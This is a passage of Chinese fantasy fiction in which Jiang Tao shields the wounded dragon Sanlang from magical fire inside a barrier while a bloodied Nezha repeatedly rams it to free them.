三郎额头上,支棱出两只龙角,脊椎后方龙尾也现了出来,已然是连化形都维持不住的状态。
若刚才不是为她挡了一箭,他应该能逃掉的。姜桃生出愧疚,反身将他扑倒在地,以脊背挡住袭来的火龙。
“你疯了?”三郎叫道,却根本无力推开她。
但很快他就不挣扎了,因为他也看出来,姜桃虽然也狼狈得浑身冒烟,却根本就没有受什么伤,不像他,连皮肤都一片片烧焦、裂开,惨不忍睹。
如若不是她护着,他这会儿已经成了一条烤龙干了。
虽然不知道她为何有这种能力,但他还是妥协了,躲在她的庇护下,气息越发微弱。
“这可是三味真火,你们逃不掉的。”罩子外,传来男人狂妄的笑声,但下一秒就戛然而止。
罩子中浓烟滚滚,姜桃不知道外面发生了什么,只努力伏在三郎身上护着他,见他越来越羸弱,心中焦急不已,后悔没事先告知李靖了。
咣——
罩上传来强烈的撞击,一下又一下,力道之大,她都感觉被掀翻了,可那玻璃罩子却纹丝未裂。
是谁在拼命撞击?
她眯起眼睛,透过浓烟,看见了一抹红色冲击而来,不断地持续撞击。
那抹红色,分外眼熟。
是哪吒。
“哪里来的小鬼——”耳边重新传来杂耍艺人和他兄弟们的惊呼声,可他们似乎都不敢上前。
也是,火力全开的哪吒,光是杀气就足以吓退很多人了,更何况,他周身环绕着的,也是三味真火。
许是受到的撞击太过激烈,火龙渐渐溃不成形,烟雾也慢慢散去些,姜桃终于看清了哪吒。
他身上全是血,是一次次猛烈撞击形成的伤,可他依然没有停,疯了一样地持续撞着。
就如同那次,他冲破结界,鲜血淋漓地站在她面前。
只是这次,他的眼瞳有些不一样,是一团火焰一样的金色,看不见瞳孔,艳丽而瘆人。
“哪吒……”姜桃终于哭了,手撑在罩子上,泪流不止。